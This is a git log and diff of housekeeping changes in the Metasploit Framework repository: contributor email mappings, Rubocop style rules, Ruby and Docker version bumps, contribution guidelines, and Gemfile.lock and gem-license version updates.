Metasploit 38b5abdb2b automatic module_metadata_base.json update 2019-02-08 16:38:54 -08:00
Wei Chen ed4acd6b31 Land #11279, improve imap_open exploit to be more robust 2019-02-08 16:30:14 -08:00
Metasploit b22f40fffc automatic module_metadata_base.json update 2019-02-08 16:12:53 -08:00
Wei Chen 78a7242cb7 Land #11282, Support to retrieve data from ListConfigFiles SAP webmethod 2019-02-08 16:03:41 -08:00
Metasploit ce3fa8ab1d automatic module_metadata_base.json update 2019-02-08 12:32:28 -08:00
Brent Cook d7085ddf67 Land #11345, Add Solaris pfexec Upgrade Shell module 2019-02-08 12:23:56 -08:00
Wei Chen 485f8b0727 Land #11371, Add auxiliary/scanner/http/rips_traversal docs 2019-02-08 11:51:06 -08:00
Metasploit cfb9d50c85 automatic module_metadata_base.json update 2019-02-08 01:29:15 -08:00
Brendan Coles f4b4e29b94 Land #11352, Add JVC/Siemens/Vanderbilt IP-Camera Password Disclosure module 2019-02-08 01:21:33 -08:00
Metasploit 9d4eab3e2f Bump version of framework to 4.17.41 2019-02-07 10:02:10 -08:00
825 changed files with 191050 additions and 18775 deletions
+21 -21
View File
@@ -1,48 +1,29 @@
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bpatterson-r7 <bpatterson-r7@github> <“bpatterson@rapid7.com”>
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
egypt <egypt@github> <james_lee@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
jinq102030 <jinq102030@github> <jqian@rapid7.com>
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
khayes-r7 <khayes-r7@github> <Kirk_Hayes@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
tatanus <tatanus@github> <adam_compton@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> <todb@metasploit.com>
@@ -53,7 +34,6 @@ wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> <wvu@cs.nmt.edu>
wvu-r7 <wvu-r7@github> <wvu@metasploit.com>
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
@@ -62,9 +42,12 @@ wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
# periodically. If you're on this list and would like to not be, just
# let todb@metasploit.com know.
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <bpatterson@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
@@ -83,8 +66,13 @@ corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <pete
crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmail.com>
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
efraintorres <efraintorres@github> et <>
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
egypt <egypt@github> <james_lee@rapid7.com>
espreto <espreto@github> <robertoespreto@gmail.com>
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
farias-r7 <farias-r7@github> <fernando_arias@rapid7.com>
@@ -110,6 +98,7 @@ jcran <jcran@github> <jcran@rapid7.com>
jduck <jduck@github> <github.jdrake@qoop.org>
jduck <jduck@github> <jdrake@qoop.org>
jgor <jgor@github> jgor <jgor@indiecom.org>
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> <joev@metasploit.com>
@@ -119,9 +108,15 @@ juanvazquez <juanvazquez@github> jvazquez-r7 <juan_vazquez@rapid7.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
kris <kris@???> kris <>
KronicDeth <KronicDeth@github> Luke Imhoff <luke_imhoff@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
@@ -151,12 +146,16 @@ rwhitcroft <rwhitcroft@github> <rwhitcroft@users.noreply.github.com>
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
skape <skape@???> Matt Miller <mmiller@hick.org>
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
stufus <stufus@github> Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
tatanus <tatanus@github> <adam_compton@rapid7.com>
techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
techpeace <techpeace@github> Matt Buck <techpeace@gmail.com>
timwr <timwr@github> <timrlw@gmail.com>
@@ -164,6 +163,7 @@ TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
void-in <void-in@github> void_in <root@localhost.localdomain>
void-in <void-in@github> void-in <root@localhost.localdomain>
void-in <void-in@github> <void-in@users.noreply.github.com>
+51 -9
View File
@@ -9,7 +9,7 @@
# inherit_from: .rubocop_todo.yml
AllCops:
TargetRubyVersion: 2.2
TargetRubyVersion: 2.4
Metrics/ClassLength:
Description: 'Most Metasploit modules are quite large. This is ok.'
@@ -45,6 +45,10 @@ Style/RedundantReturn:
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
Enabled: false
Naming/VariableNumber:
Description: 'To make it easier to use reference code, disable this cop'
Enabled: false
Style/NumericPredicate:
Description: 'This adds no efficiency nor space saving'
Enabled: false
@@ -55,14 +59,18 @@ Style/Documentation:
Exclude:
- 'modules/**/*'
Layout/IndentHeredoc:
Layout/SpaceInsideArrayLiteralBrackets:
Enabled: false
Description: 'We need to leave this disabled for Ruby 2.2 compat, remove in 2018'
Description: 'Almost all module metadata have space in brackets'
Style/GuardClause:
Enabled: false
Description: 'This often introduces bugs in tested code'
Style/EmptyLiteral:
Enabled: false
Description: 'This looks awkward when you mix empty and non-empty literals'
Style/NegatedIf:
Enabled: false
Description: 'This often introduces bugs in tested code'
@@ -72,9 +80,16 @@ Style/ConditionalAssignment:
Description: 'This is confusing for folks coming from other languages'
Style/Encoding:
Enabled: true
Description: 'We prefer binary to UTF-8.'
EnforcedStyle: 'when_needed'
Enabled: false
Style/ParenthesesAroundCondition:
Enabled: false
Description: 'This is used in too many places to discount, especially in ported code. Has little effect'
Style/TrailingCommaInArrayLiteral:
Enabled: false
Description: 'This is often a useful pattern, and is actually required by other languages. It does not hurt.'
Metrics/LineLength:
Description: >-
@@ -83,6 +98,13 @@ Metrics/LineLength:
Enabled: true
Max: 180
Metrics/BlockLength:
Enabled: true
Description: >-
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
Max: 300
Metrics/MethodLength:
Enabled: true
Description: >-
@@ -90,10 +112,10 @@ Metrics/MethodLength:
often exceed 200 lines.
Max: 300
# Basically everything in metasploit needs binary encoding, not UTF-8.
# Disable this here and enforce it through msftidy
Style/Encoding:
Enabled: false
Naming/UncommunicativeMethodParamName:
Enabled: true
Description: 'Whoever made this requirement never looked at crypto methods, IV'
MinNameLength: 2
# %q() is super useful for long strings split over multiple lines and
# is very common in module constructors for things like descriptions
@@ -104,11 +126,31 @@ Style/NumericLiterals:
Enabled: false
Description: 'This often hurts readability for exploit-ish code.'
Layout/AlignHash:
Enabled: false
Description: 'aligning info hashes to match these rules is almost impossible to get right'
Layout/EmptyLines:
Enabled: false
Description: 'these are used to increase readability'
Layout/EmptyLinesAroundClassBody:
Enabled: false
Description: 'these are used to increase readability'
Layout/EmptyLinesAroundMethodBody:
Enabled: false
Description: 'these are used to increase readability'
Layout/AlignParameters:
Enabled: true
EnforcedStyle: 'with_fixed_indentation'
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
Style/For:
Enabled: false
Description: 'if a module is written with a for loop, it cannot always be logically replaced with each'
Style/StringLiterals:
Enabled: false
Description: 'Single vs double quote fights are largely unproductive.'
+1 -1
View File
@@ -1 +1 @@
2.5.3
2.6.2
+2 -3
View File
@@ -11,9 +11,8 @@ addons:
- graphviz
language: ruby
rvm:
- '2.3.8'
- '2.4.5'
- '2.5.3'
- '2.5.5'
- '2.6.2'
env:
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
+7 -4
View File
@@ -20,12 +20,15 @@ it into Metasploit's master branch. If you do not care to follow these rules, y
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
* **Do** follow the [50/72 rule] for Git commit messages.
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
* **Do** create a [topic branch] to work on instead of working directly on `master` to preserve the
history of your pull request. See [PR#8000] for an example of losing commit history as soon as
you update your own master branch.
* **Do** create a [topic branch] to work on instead of working directly on `master`.
This helps protect the process, ensures users are aware of commits on the branch being considered for merge,
allows for a location for more commits to be offered without mingling with other contributor changes,
and allows contributors to make progress while a PR is still being reviewed.
### Pull Requests
* **Do** write "WIP" on your PR and/or open a [draft PR] if submitting **working** yet unfinished code.
* **Do** target your pull request to the **master branch**.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
@@ -84,7 +87,7 @@ curve, so keep it up!
[Rubocop]:https://rubygems.org/search?query=rubocop
[50/72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
[PR#8000]:https://github.com/rapid7/metasploit-framework/pull/8000
[draft PR]:https://help.github.com/en/articles/about-pull-requests#draft-pull-requests
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
[reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests
+3 -4
View File
@@ -1,4 +1,4 @@
FROM ruby:2.5.3-alpine3.7 AS builder
FROM ruby:2.6.2-alpine3.9 AS builder
LABEL maintainer="Rapid7"
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
@@ -16,7 +16,7 @@ RUN apk add --no-cache \
bison \
build-base \
ruby-dev \
libressl-dev \
openssl-dev \
readline-dev \
sqlite-dev \
postgresql-dev \
@@ -29,7 +29,6 @@ RUN apk add --no-cache \
git \
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
&& gem update --system \
&& gem install bundler \
&& bundle install --clean --no-cache --system $BUNDLER_ARGS \
# temp fix for https://github.com/bundler/bundler/issues/6680
&& rm -rf /usr/local/bundle/cache \
@@ -37,7 +36,7 @@ RUN apk add --no-cache \
&& chmod -R a+r /usr/local/bundle
FROM ruby:2.5.3-alpine3.7
FROM ruby:2.6.2-alpine3.9
LABEL maintainer="Rapid7"
ENV APP_HOME=/usr/src/metasploit-framework
+65 -65
View File
@@ -1,12 +1,12 @@
PATH
remote: .
specs:
metasploit-framework (4.17.40)
metasploit-framework (4.17.78)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
backports
bcrypt
bcrypt (= 3.1.12)
bcrypt_pbkdf
bit-struct
concurrent-ruby (= 1.0.5)
@@ -20,9 +20,9 @@ PATH
metasploit-concern
metasploit-credential (< 3.0.0)
metasploit-model
metasploit-payloads (= 1.3.61)
metasploit-payloads (= 1.3.70)
metasploit_data_models (< 3.0.0)
metasploit_payloads-mettle (= 0.5.7)
metasploit_payloads-mettle (= 0.5.16)
mqtt
msgpack
nessus_rest
@@ -37,7 +37,7 @@ PATH
patch_finder
pcaprub
pdf-reader
pg (= 0.20.0)
pg (~> 0.20)
railties
rb-readline
recog
@@ -55,7 +55,7 @@ PATH
rex-random_identifier
rex-registry
rex-rop_builder
rex-socket
rex-socket (= 0.1.17)
rex-sslscan
rex-struct2
rex-text
@@ -76,40 +76,40 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.0.3)
actionpack (4.2.11)
actionview (= 4.2.11)
activesupport (= 4.2.11)
actionpack (4.2.11.1)
actionview (= 4.2.11.1)
activesupport (= 4.2.11.1)
rack (~> 1.6)
rack-test (~> 0.6.2)
rails-dom-testing (~> 1.0, >= 1.0.5)
rails-html-sanitizer (~> 1.0, >= 1.0.2)
actionview (4.2.11)
activesupport (= 4.2.11)
actionview (4.2.11.1)
activesupport (= 4.2.11.1)
builder (~> 3.1)
erubis (~> 2.7.0)
rails-dom-testing (~> 1.0, >= 1.0.5)
rails-html-sanitizer (~> 1.0, >= 1.0.3)
activemodel (4.2.11)
activesupport (= 4.2.11)
activemodel (4.2.11.1)
activesupport (= 4.2.11.1)
builder (~> 3.1)
activerecord (4.2.11)
activemodel (= 4.2.11)
activesupport (= 4.2.11)
activerecord (4.2.11.1)
activemodel (= 4.2.11.1)
activesupport (= 4.2.11.1)
arel (~> 6.0)
activesupport (4.2.11)
activesupport (4.2.11.1)
i18n (~> 0.7)
minitest (~> 5.1)
thread_safe (~> 0.3, >= 0.3.4)
tzinfo (~> 1.1)
addressable (2.5.2)
addressable (2.6.0)
public_suffix (>= 2.0.2, < 4.0)
afm (0.2.2)
arel (6.0.4)
arel-helpers (2.8.0)
activerecord (>= 3.1.0, < 6)
backports (3.11.4)
arel-helpers (2.10.0)
activerecord (>= 3.1.0, < 7)
backports (3.15.0)
bcrypt (3.1.12)
bcrypt_pbkdf (1.0.0)
bcrypt_pbkdf (1.0.1)
bindata (2.4.4)
bit-struct (0.16)
builder (3.2.3)
@@ -117,9 +117,9 @@ GEM
concurrent-ruby (1.0.5)
crass (1.0.4)
diff-lcs (1.3)
dnsruby (1.61.2)
dnsruby (1.61.3)
addressable (~> 2.5)
docile (1.3.1)
docile (1.3.2)
ed25519 (1.2.4)
erubis (2.7.0)
factory_girl (4.9.0)
@@ -127,8 +127,8 @@ GEM
factory_girl_rails (4.9.0)
factory_girl (~> 4.9.0)
railties (>= 3.0.0)
faker (1.9.1)
i18n (>= 0.7)
faker (2.2.0)
i18n (>= 0.8)
faraday (0.15.4)
multipart-post (>= 1.2, < 3)
filesize (0.2.0)
@@ -138,11 +138,11 @@ GEM
concurrent-ruby (~> 1.0)
jsobfu (0.4.2)
rkelly-remix
json (2.1.0)
json (2.2.0)
loofah (2.2.3)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
metasm (1.0.3)
metasm (1.0.4)
metasploit-concern (2.0.5)
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -160,31 +160,31 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.61)
metasploit_data_models (2.0.16)
metasploit-payloads (1.3.70)
metasploit_data_models (2.0.17)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
arel-helpers
metasploit-concern
metasploit-model
pg (= 0.20.0)
pg
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.5.7)
metasploit_payloads-mettle (0.5.16)
method_source (0.9.2)
mini_portile2 (2.4.0)
minitest (5.11.3)
mqtt (0.5.0)
msgpack (1.2.6)
multipart-post (2.0.0)
msgpack (1.3.1)
multipart-post (2.1.1)
nessus_rest (0.1.6)
net-ssh (5.1.0)
net-ssh (5.2.0)
network_interface (0.0.2)
nexpose (7.2.1)
nokogiri (1.10.1)
nokogiri (1.10.4)
mini_portile2 (~> 2.4.0)
octokit (4.13.0)
octokit (4.14.0)
sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.2)
openvas-omp (0.0.4)
@@ -192,13 +192,13 @@ GEM
pcaprub
patch_finder (1.0.2)
pcaprub (0.13.0)
pdf-reader (2.2.0)
pdf-reader (2.2.1)
Ascii85 (~> 1.0.0)
afm (~> 0.2.1)
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (0.20.0)
pg (0.21.0)
pg_array_parser (0.0.9)
postgres_ext (3.0.1)
activerecord (~> 4.0)
@@ -207,7 +207,7 @@ GEM
pry (0.12.2)
coderay (~> 1.1.0)
method_source (~> 0.9.0)
public_suffix (3.0.3)
public_suffix (3.1.1)
rack (1.6.11)
rack-test (0.6.3)
rack (>= 1.0)
@@ -217,18 +217,18 @@ GEM
activesupport (>= 4.2.0, < 5.0)
nokogiri (~> 1.6)
rails-deprecated_sanitizer (>= 1.0.1)
rails-html-sanitizer (1.0.4)
rails-html-sanitizer (1.2.0)
loofah (~> 2.2, >= 2.2.2)
railties (4.2.11)
actionpack (= 4.2.11)
activesupport (= 4.2.11)
railties (4.2.11.1)
actionpack (= 4.2.11.1)
activesupport (= 4.2.11.1)
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
rake (12.3.2)
rake (12.3.3)
rb-readline (0.5.5)
recog (2.1.45)
recog (2.3.2)
nokogiri
redcarpet (3.4.0)
redcarpet (3.5.0)
rex-arch (0.1.13)
rex-text
rex-bin_tools (0.1.6)
@@ -242,7 +242,7 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.20)
rex-exploitation (0.1.21)
jsobfu
metasm
rex-arch
@@ -255,7 +255,7 @@ GEM
rex-arch
rex-ole (0.1.6)
rex-text
rex-powershell (0.1.79)
rex-powershell (0.1.82)
rex-random_identifier
rex-text
rex-random_identifier (0.1.4)
@@ -265,14 +265,14 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.15)
rex-socket (0.1.17)
rex-core
rex-sslscan (0.1.5)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.2)
rex-text (0.2.21)
rex-text (0.2.23)
rex-zip (0.1.3)
rex-text
rkelly-remix (0.0.7)
@@ -280,12 +280,12 @@ GEM
rspec-core (~> 3.8.0)
rspec-expectations (~> 3.8.0)
rspec-mocks (~> 3.8.0)
rspec-core (3.8.0)
rspec-core (3.8.2)
rspec-support (~> 3.8.0)
rspec-expectations (3.8.2)
rspec-expectations (3.8.4)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.8.0)
rspec-mocks (3.8.0)
rspec-mocks (3.8.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.8.0)
rspec-rails (3.8.2)
@@ -298,39 +298,39 @@ GEM
rspec-support (~> 3.8.0)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.8.0)
ruby-macho (2.1.0)
rspec-support (3.8.2)
ruby-macho (2.2.0)
ruby-rc4 (0.1.5)
ruby_smb (1.0.5)
ruby_smb (1.1.0)
bindata
rubyntlm
windows_error
rubyntlm (0.6.2)
rubyzip (1.2.2)
sawyer (0.8.1)
addressable (>= 2.3.5, < 2.6)
faraday (~> 0.8, < 1.0)
simplecov (0.16.1)
rubyzip (1.2.3)
sawyer (0.8.2)
addressable (>= 2.3.5)
faraday (> 0.8, < 2.0)
simplecov (0.17.0)
docile (~> 1.1)
json (>= 1.8, < 3)
simplecov-html (~> 0.10.0)
simplecov-html (0.10.2)
sqlite3 (1.3.13)
sshkey (1.9.0)
sshkey (2.0.0)
thor (0.20.3)
thread_safe (0.3.6)
timecop (0.9.1)
ttfunk (1.5.1)
tzinfo (1.2.5)
thread_safe (~> 0.1)
tzinfo-data (1.2018.9)
tzinfo-data (1.2019.2)
tzinfo (>= 1.0.0)
windows_error (0.1.2)
xdr (2.0.0)
activemodel (>= 4.2.7)
activesupport (>= 4.2.7)
xmlrpc (0.3.0)
yard (0.9.18)
yard (0.9.20)
PLATFORMS
ruby
+47 -47
View File
@@ -1,17 +1,17 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.0.3, MIT
actionpack, 4.2.11, MIT
actionview, 4.2.11, MIT
activemodel, 4.2.11, MIT
activerecord, 4.2.11, MIT
activesupport, 4.2.11, MIT
addressable, 2.5.2, "Apache 2.0"
actionpack, 4.2.11.1, MIT
actionview, 4.2.11.1, MIT
activemodel, 4.2.11.1, MIT
activerecord, 4.2.11.1, MIT
activesupport, 4.2.11.1, MIT
addressable, 2.6.0, "Apache 2.0"
afm, 0.2.2, MIT
arel, 6.0.4, MIT
arel-helpers, 2.8.0, MIT
backports, 3.11.4, MIT
arel-helpers, 2.10.0, MIT
backports, 3.15.0, MIT
bcrypt, 3.1.12, MIT
bcrypt_pbkdf, 1.0.0, MIT
bcrypt_pbkdf, 1.0.1, MIT
bindata, 2.4.4, ruby
bit-struct, 0.16, ruby
builder, 3.2.3, MIT
@@ -20,105 +20,105 @@ coderay, 1.1.2, MIT
concurrent-ruby, 1.0.5, MIT
crass, 1.0.4, MIT
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.2, "Apache 2.0"
docile, 1.3.1, MIT
dnsruby, 1.61.3, "Apache 2.0"
docile, 1.3.2, MIT
ed25519, 1.2.4, MIT
erubis, 2.7.0, MIT
factory_girl, 4.9.0, MIT
factory_girl_rails, 4.9.0, MIT
faker, 1.9.1, MIT
faker, 2.2.0, MIT
faraday, 0.15.4, MIT
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
hashery, 2.1.2, "Simplified BSD"
i18n, 0.9.5, MIT
jsobfu, 0.4.2, "New BSD"
json, 2.1.0, ruby
json, 2.2.0, ruby
loofah, 2.2.3, MIT
metasm, 1.0.3, LGPL
metasm, 1.0.4, LGPL-2.1
metasploit-concern, 2.0.5, "New BSD"
metasploit-credential, 2.0.14, "New BSD"
metasploit-framework, 4.17.40, "New BSD"
metasploit-framework, 4.17.78, "New BSD"
metasploit-model, 2.0.4, "New BSD"
metasploit-payloads, 1.3.58, "3-clause (or ""modified"") BSD"
metasploit_data_models, 2.0.16, "New BSD"
metasploit_payloads-mettle, 0.5.4, "3-clause (or ""modified"") BSD"
metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD"
metasploit_data_models, 2.0.17, "New BSD"
metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
method_source, 0.9.2, MIT
mini_portile2, 2.4.0, MIT
minitest, 5.11.3, MIT
mqtt, 0.5.0, MIT
msgpack, 1.2.6, "Apache 2.0"
multipart-post, 2.0.0, MIT
msgpack, 1.3.1, "Apache 2.0"
multipart-post, 2.1.1, MIT
nessus_rest, 0.1.6, MIT
net-ssh, 5.1.0, MIT
net-ssh, 5.2.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.2.1, "New BSD"
nokogiri, 1.10.1, MIT
octokit, 4.13.0, MIT
nokogiri, 1.10.4, MIT
octokit, 4.14.0, MIT
openssl-ccm, 1.2.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.0, LGPL-2.1
pdf-reader, 2.2.0, MIT
pg, 0.20.0, "New BSD"
pdf-reader, 2.2.1, MIT
pg, 0.21.0, "New BSD"
pg_array_parser, 0.0.9, unknown
postgres_ext, 3.0.1, MIT
pry, 0.12.2, MIT
public_suffix, 3.0.3, MIT
public_suffix, 3.1.1, MIT
rack, 1.6.11, MIT
rack-test, 0.6.3, MIT
rails-deprecated_sanitizer, 1.0.3, MIT
rails-dom-testing, 1.0.9, MIT
rails-html-sanitizer, 1.0.4, MIT
railties, 4.2.11, MIT
rake, 12.3.2, MIT
rails-html-sanitizer, 1.2.0, MIT
railties, 4.2.11.1, MIT
rake, 12.3.3, MIT
rb-readline, 0.5.5, BSD
recog, 2.1.45, unknown
redcarpet, 3.4.0, MIT
recog, 2.3.2, unknown
redcarpet, 3.5.0, MIT
rex-arch, 0.1.13, "New BSD"
rex-bin_tools, 0.1.6, "New BSD"
rex-core, 0.1.13, "New BSD"
rex-encoder, 0.1.4, "New BSD"
rex-exploitation, 0.1.20, "New BSD"
rex-exploitation, 0.1.21, "New BSD"
rex-java, 0.1.5, "New BSD"
rex-mime, 0.1.5, "New BSD"
rex-nop, 0.1.1, "New BSD"
rex-ole, 0.1.6, "New BSD"
rex-powershell, 0.1.79, "New BSD"
rex-powershell, 0.1.82, "New BSD"
rex-random_identifier, 0.1.4, "New BSD"
rex-registry, 0.1.3, "New BSD"
rex-rop_builder, 0.1.3, "New BSD"
rex-socket, 0.1.15, "New BSD"
rex-socket, 0.1.17, "New BSD"
rex-sslscan, 0.1.5, "New BSD"
rex-struct2, 0.1.2, "New BSD"
rex-text, 0.2.21, "New BSD"
rex-text, 0.2.23, "New BSD"
rex-zip, 0.1.3, "New BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.8.0, MIT
rspec-core, 3.8.0, MIT
rspec-expectations, 3.8.2, MIT
rspec-mocks, 3.8.0, MIT
rspec-core, 3.8.2, MIT
rspec-expectations, 3.8.4, MIT
rspec-mocks, 3.8.1, MIT
